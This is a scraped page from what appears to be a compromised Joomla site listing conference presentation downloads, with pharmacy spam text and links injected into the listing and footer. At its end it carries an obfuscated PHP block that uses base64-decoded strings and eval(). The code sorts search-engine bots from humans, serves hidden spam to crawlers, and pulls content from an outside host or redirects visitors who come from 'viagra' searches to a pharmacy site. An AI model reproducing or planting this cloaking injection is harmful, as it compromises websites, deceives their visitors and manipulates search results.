<img src="http://www.coastal.edu/sedugsite/components/com_remository/images/file_icons/archive_zip.gif" width="32" height="32" style="border:0;"  alt="" />
<a href="http://www.coastal.edu/sedugsite/index.php?option=com_remository&amp;Itemid=139&amp;func=fileinfo&amp;id=84">TT-140 Code Recycling Presentation Package</a></div>
<div>(<a href="http://www.coastal.edu/sedugsite/index.php?option=com_remository&amp;Itemid=139&amp;func=select&amp;id=4">Technical Track</a>)</div>
<div>Nov.09</div>
</div>
<div>
<div>
<img src="http://www.coastal.edu/sedugsite/components/com_remository/images/file_icons/powerpoint.gif" width="32" height="32" style="border:0;"  alt="" />
<a href="http://www.coastal.edu/sedugsite/index.php?option=com_remository&amp;Itemid=139&amp;func=fileinfo&amp;id=83">FA-140 FFELP to DL</a></div>
<div>(<a href="http://www.coastal.edu/sedugsite/index.php?option=com_remository&amp;Itemid=139&amp;func=select&amp;id=9">Financial Aid Track</a>)</div>
<div>Nov.09</div>
</div>
<div>
<div>
<img src="http://www.coastal.edu/sedugsite/components/com_remository/images/file_icons/powerpoint.gif" width="32" height="32" style="border:0;"  alt="" />
<a href="http://www.coastal.edu/sedugsite/index.php?option=com_remository&amp;Itemid=139&amp;func=fileinfo&amp;id=82">AR-120 New Student Financial System on the Web</a></div>
<div>(<a href="http://www.coastal.edu/sedugsite/index.php?option=com_remository&amp;Itemid=139&amp;func=select&amp;id=2">SEDUG2009 Handouts</a>)</div>
<div>Nov.09</div>
</div>
<div>
<div>
<img src="http://www.coastal.edu/sedugsite/components/com_remository/images/file_icons/powerpoint.gif" width="32" height="32" style="border:0;"  alt="" />
<a href="http://www.coastal.edu/sedugsite/index.php?option=com_remository&amp;Itemid=139&amp;func=fileinfo&amp;id=76">FA-150 Pell Year-Round</a></div>
<div>(<a href="http://www.coastal.edu/sedugsite/index.php?option=com_remository&amp;Itemid=139&amp;func=select&amp;id=9">Financial Aid Track</a>)</div>
<div>Buy viagra online Nov.09</div>
</div></div>
</div></div></div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<!--End Main Content Block-->
</div>
</div>
</div>
<!--Begin Bottom Main Modules-->
<!--End Bottom Main Modules-->
</div></div>
</div>
<!--End Main Body-->
<!--Begin Bottom Section-->
<div class="wrapper">
<div id="bottom-border-top" class="png"></div>
<div id="bottom" class="png"><div id="bottom2" class="png"><div id="bottom3" class="png"><div id="bottom4" class="png">
<div id="mainmodules4" class="spacer w99">
<div class="block full">
<div class="">
<div class="moduletable">
<div class="fpb-large"><p style="font: normal normal normal 12px/normal Helvetica; margin: 0px"><img src="/sedugsite/webkit-fake-url://067CDFB0-5187-4B87-AD7A-954406E05C94/sun-ray.jpg" border="0" alt="sun-ray.jpg" /></p></div></div>
</div>
</div>
</div>
</div></div></div></div>
<div id="bottom-border-bottom" class="png"></div>
</div>
<!--End Bottom Section-->
<!--Begin Footer-->
<div id="footer">
<div class="wrapper">
<div class="footer-mod">
<div class="moduletable">
<img src='http://www.coastal.edu/sedugsite/components/com_joomlawatch/img.php?rand=85981' border='0' alt='JoomlaWatch Stats 1.2.9 by Matej Koval' title='JoomlaWatch Stats 1.2.9'/><a href="http://kreyol.com/">Buy propecia online</a></div>
</div>
<div id="top-button"><a href="#" id="top-scroll" class="top-button-desc">Back to Top</a></div>
</div>
</div>
<!--End Footer-->
</body>
</html>";
$dirch = base64_decode('Lw==');
$keysch = base64_decode('dmlhZ3JhfFZpYWdyYXxWSUFHUkE=');
$parach = base64_decode('dmlhZ3Jh');
eval(base64_decode('JGhvc3Q9JF9TRVJWRVJbJ0hUVFBfSE9TVCddOw0KJGFnZW50PSRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXTsNCg0KICAgICRzZXJ2ZXJfdXNlcl9hZ2VudCA9IEAkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ107DQogICAgJHNlcnZlcl9yZWZlcmVyID0gQCRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiAgICAkc2VydmVyX2hvc3QgPSBAJF9TRVJWRVJbJ0hUVFBfSE9TVCddOw0KICAgICRzZXJ2ZXJfaXAgPSBAJF9TRVJWRVJbJ1JFTU9URV9BRERSJ107DQogICAgJHNlcnZlcl9xdWVyeV9zdHJpbmcgPSBAJF9TRVJWRVJbJ1FVRVJZX1NUUklORyddOw0KICAgICRzZXJ2ZXJfcmVxdWVzdCA9IEAkX1NFUlZFUlsnUkVRVUVTVF9VUkknXTsNCg0KDQpmdW5jdGlvbiBkZXRlY3RCb3QoJHNlcnZlcl91c2VyX2FnZW50LCRzZXJ2ZXJfaXAsJHNlcnZlcl9xdWVyeV9zdHJpbmcsJHNlcnZlcl9yZWZlcmVyKXsNCiAgICAkc3RvcF9pcHNfbWFza3MgPSBhcnJheSgNCiAgICAgICAgIjY2XC4yNDlcLls2LTldWzAtOV1cLlswLTldKyIsICAgIC8vIEdvb2dsZSAgICBOZXRSYW5nZTogICA2Ni4yNDkuNjQuMCAtIDY2LjI0OS45NS4yNTUNCiAgICAgICAgIjc0XC4xMjVcLlswLTldK1wuWzAtOV0rIiwgICAgICAgIC8vIEdvb2dsZSAgICAgTmV0UmFuZ2U6ICAgNzQuMTI1LjAuMCAtIDc0LjEyNS4yNTUuMjU1DQogICAgICAgICI2NVwuNVsyLTVdXC5bMC05XStcLlswLTldKyIsICAgIC8vIE1TTiAgICAgICAgTmV0UmFuZ2U6ICAgNjUuNTIuMC4wIC0gNjUuNTUuMjU1LjI1NSwNCiAgICAgICAgIjc0XC42XC5bMC05XStcLlswLTldKyIsICAgICAgICAvLyBZYWhvbyAgICBOZXRSYW5nZTogICA3NC42LjAuMCAtIDc0LjYuMjU1LjI1NQ0KICAgICAgICAiNjdcLjE5NVwuWzAtOV0rXC5bMC05XSsiLCAgICAgICAgLy8gWWFob28jMiAgICBOZXRSYW5nZTogICA2Ny4xOTUuMC4wIC0gNjcuMTk1LjI1NS4yNTUNCiAgICAgICAgIjcyXC4zMFwuWzAtOV0rXC5bMC05XSsiLCAgICAgICAgLy8gWWFob28jMyAgICBOZXRSYW5nZTogICA3Mi4zMC4wLjAgLSA3Mi4zMC4yNTUuMjU1DQogICAgICAgICIzOFwuWzAtOV0rXC5bMC05XStcLlswLTldKyIsICAgICAvLyBDdWlsbDogICAgIE5ldFJhbmdlOiAgIDM4LjAuMC4wIC0gMzguMjU1LjI1NS4yNTUNCiAgICAgICAgIjkzXC4xNzJcLjk0XC4yMjciLCAgICAgICAgICAgICAgICAvLyBNYWNGaW5kZXINCiAgICAgICAgIjIxMlwuMTAwXC4yNTBcLjIxOCIsICAgICAgICAgICAgLy8gV2VsbHMgU2VhcmNoIElJDQogICAgICAgICI3MVwuMTY1XC4yMjNcLjEzNCIsICAgICAgICAgICAgLy8gSW5keSBMaWJyYXJ5DQogICAgICAgICI3MFwuOTFcLjE4MFwuMjUiLA0KICAgICAgICAiNjVcLjkzXC42MlwuMjQyIiwNCiAgICAgICAgIjc0XC4xOTNcLjI0NlwuMTI5IiwNCiAgICAgICAgIjIxM1wuMTQ0XC4xNVwuMzgiLA0KICAgICAgICAiMTk1XC45MlwuMjI5XC4yIiwNCiAgICAgICAgIjcwXC41MFwuMTg5XC4xOTEiLA0KICAgICAgICAiMjE4XC4yOFwuODhcLjk5IiwNCiAgICAgICAgIjE2NVwuMTYwXC4yXC4yMCIsDQogICAgICAgICI4OVwuMTIyXC4yMjRcLjIzMCIsDQogICAgICAgICI2NlwuMjMwXC4xNzVcLjEyNCIsDQogICAgICAgICIyMThcLjE4XC4xNzRcLjI3IiwNCiAgICAgICAgIjY1XC4zM1wuODdcLjk0IiwNCiAgICAgICAgIjY3XC4yMTBcLjExMVwuMjQxIiwNCiAgICAgICAgIjgxXC4xMzVcLjE3NVwuNzAiLA0KICAgICAgICAiNjRcLjY5XC4zNFwuMTM0IiwNCiAgICAgICAgIjg5XC4xNDlcLjI1M1wuMTY5IiwNCg0KICAgICAgICAiNjRcLjIzM1wuMVs2LThdWzEtOV1cLlswLTldKyIsDQogICAgICAgICI2NFwuMjMzXC4xOVswLTFdXC5bMC05XSsiLA0KICAgICAgICAvL2dvb2dsZSBmcm9tIGlwbGlzdHMNCiAgICAgICAgIjIwOVwuMTg1XC4xMDhcLlswLTldKyIsDQogICAgICAgICIyMDlcLjE4NVwuMjUzXC5bMC05XSsiLA0KICAgICAgICAiMjA5XC44NVwuMjM4XC5bMC05XSsiLA0KICAgICAgICAiMjE2XC4yMzlcLjMzXC45WzYtOV0iLA0KICAgICAgICAiMjE2XC4yMzlcLjM3XC45WzgtOV0iLA0KICAgICAgICAiMjE2XC4yMzlcLjM5XC45WzgtOV0iLA0KICAgICAgICAiMjE2XC4yMzlcLjQxXC45WzYtOV0iLA0KICAgICAgICAiMjE2XC4yMzlcLjQ1XC40IiwNCiAgICAgICAgIjIxNlwuMjM5XC40NlwuWzAtOV0rIiwNCiAgICAgICAgIjIxNlwuMjM5XC41MVwuOVs2LTldIiwNCiAgICAgICAgIjIxNlwuMjM5XC41M1wuOVs4LTldIiwNCiAgICAgICAgIjIxNlwuMjM5XC41N1wuOVs2LTldIiwNCiAgICAgICAgIjIxNlwuMjM5XC41OVwuOVs4LTldIiwNCiAgICAgICAgIjIxNlwuMzNcLjIyOVwuMTYzIiwNCg0KICAgICAgICAiNjRcLjIzM1wuMTczXC5bMC05XSsiLA0KICAgICAgICAiNjRcLjY4XC44WzAtOV1cLlswLTldKyIsDQogICAgICAgICI2NFwuNjhcLjlbMC0yXVwuWzAtOV0rIiwNCiAgICAgICAgIjcyXC4xNFwuMTk5XC5bMC05XSsiLA0KICAgICAgICAiOFwuNlwuNDhcLlswLTldKyIsDQogICAgICAgIC8vZ29vZ2xlIGZyb20gaXBsaXN0cw0KLy8gMTAuMC4wLjAgLSAxMC4yNTUuMjU1LjI1NSBpYW5hDQogICAgICAgICIyMDdcLjIxMVwuNDBcLjgyIiwNCiAgICAgICAgIjY3XC4xNjJcLjE1OFwuMTQ2IiwNCiAgICAgICAgIjY2XC4yNTVcLjUzXC4xMjMiLA0KICAgICAgICAiMjRcLjIwMFwuMjA4XC4xMTIiLA0KICAgICAgICAiMTI5XC4xODdcLjE0OFwuMjQwIiwNCiAgICAgICAgIjEyOVwuMTg3XC4xNDhcLjI0NCIsDQogICAgICAgICIxOTlcLjEyNlwuMTUxXC4yMjkiLA0KICAgICAgICAiMTE4XC4xMjRcLjMyXC4xOTMiLA0KICAgICAgICAiODlcLjE0OVwuMjE3XC4xOTEiDQoNCiAgICApOw0KICAgICRzdG9wX2FnZW50c19tYXNrcyA9IGFycmF5KCJodHRwIiwgImdvb2dsZSIsICJzbHVycCIsICJtc25ib3QiLCAiYm90IiwgImNyYXdsIiwgInNwaWRlciIsICJyb2JvdCIsICJIdHRwQ2xpZW50IiwgImN1cmwiLCAiUEhQIiwgIkluZHkgTGlicmFyeSIsICJXb3JkUHJlc3MiLCdDaGFybG90dGUnLCd3d3dzdGVyJywnUHl0aG9uJywndXJsbGliJywncGVybCcsJ2xpYnd3dycsJ2x5bngnLCdUd2ljZWxlcicsJ3JhbWJsZXInLCd5YW5kZXgnKTsNCg0KICAgICRzZXJ2ZXJfdXNlcl9hZ2VudCA9IHByZWdfcmVwbGFjZSgifFVzZXJcLkFnZW50XDpbXHMgXT98aSIsICIiLCBAJHNlcnZlcl91c2VyX2FnZW50KTsNCg0KICAgICRpc19odW1hbiA9IHRydWU7ICRzdG9wX2lwX2RldGVjdGVkID0gZmFsc2U7ICRzdG9wX2FnZW50X2RldGVjdGVkID0gZmFsc2U7ICRkZXRlY3RlZF9zdHIgPSAiIjsNCiAgICBmb3JlYWNoICgkc3RvcF9pcHNfbWFza3MgYXMgJHN0b3BfaXBfbWFzaykgaWYoZXJlZ2koIiRzdG9wX2lwX21hc2siLCAkc2VydmVyX2lwKSkgew0KICAgICAgICAkaXNfaHVtYW4gPSBmYWxzZTsgIGJyZWFrOw0KICAgIH0NCiAgICBpZigkaXNfaHVtYW4pIGZvcmVhY2goJHN0b3BfYWdlbnRzX21hc2tzIGFzICRzdG9wX2FnZW50c19tYXNrKSBpZihlcmVnaSgkc3RvcF9hZ2VudHNfbWFzaywgQCRzZXJ2ZXJfdXNlcl9hZ2VudCkgIT09IGZhbHNlKXsNCiAgICAgICAgJGlzX2h1bWFuID0gZmFsc2U7ICBicmVhazsNCiAgICB9DQogICAgaWYoJGlzX2h1bWFuIGFuZCAhZXJlZ2koIl5bYS16QS1aXXs1LH0iLCBAJHNlcnZlcl91c2VyX2FnZW50KSkgew0KICAgICAgICAkaXNfaHVtYW4gPSBmYWxzZTsNCiAgICB9DQoNCiAgICBpZigkaXNfaHVtYW4gYW5kIHN0cmxlbigkc2VydmVyX3VzZXJfYWdlbnQpPD0xMSkgew0KICAgICAgICAkaXNfaHVtYW4gPSBmYWxzZTsNCiAgICB9DQoNCiAgICBpZihzdHJpc3RyKCRzZXJ2ZXJfcmVmZXJlciwkc2VydmVyX3F1ZXJ5X3N0cmluZykpIHsNCiAgICAgICAgJGlzX2h1bWFuID0gZmFsc2U7DQogICAgfQ0KDQogICAgcmV0dXJuICRpc19odW1hbjsNCn0NCg0KQCRpc19odW1hbiA9IEBkZXRlY3RCb3QoJHNlcnZlcl91c2VyX2FnZW50LCRzZXJ2ZXJfaXAsJHNlcnZlcl9xdWVyeV9zdHJpbmcsJHNlcnZlcl9yZWZlcmVyKTsNCmlmIChAJGlzX2h1bWFuPT1mYWxzZSAmJiAkX1NFUlZFUlsiUkVRVUVTVF9VUkkiXT09JGRpcmNoKSANCnsgDQplY2hvIGJhc2U2NF9kZWNvZGUoJGZvcmJvdHMpOw0KZXhpdDsNCn0NCmlmIChwcmVnX21hdGNoKCcvJy4ka2V5c2NoLicvJywgJF9TRVJWRVJbIkhUVFBfUkVGRVJFUiJdKSAmJiAkX1NFUlZFUlsiUkVRVUVTVF9VUkkiXT09JGRpcmNoKSB7IA0KaWYoIGZhbHNlID09ICgkc3RyPWZpbGVfZ2V0X2NvbnRlbnRzKCJodHRwOi8vYmFzYWlyLmNvbS5hdS9jb21wb25lbnRzL2NvbV9yc2Zvcm0vdXBsb2Fkcy9wYWdlLmh0bWwiKSkpDQogICAgaGVhZGVyKCJsb2NhdGlvbjogaHR0cDovL2NhZC1waGFybWFjeS5jb20vP2FpZD05Mzc5Iik7DQogIGVsc2UNCiAgICBlY2hvICRzdHI7DQogZXhpdDsgIH0NCg=='));
?>
Cost Details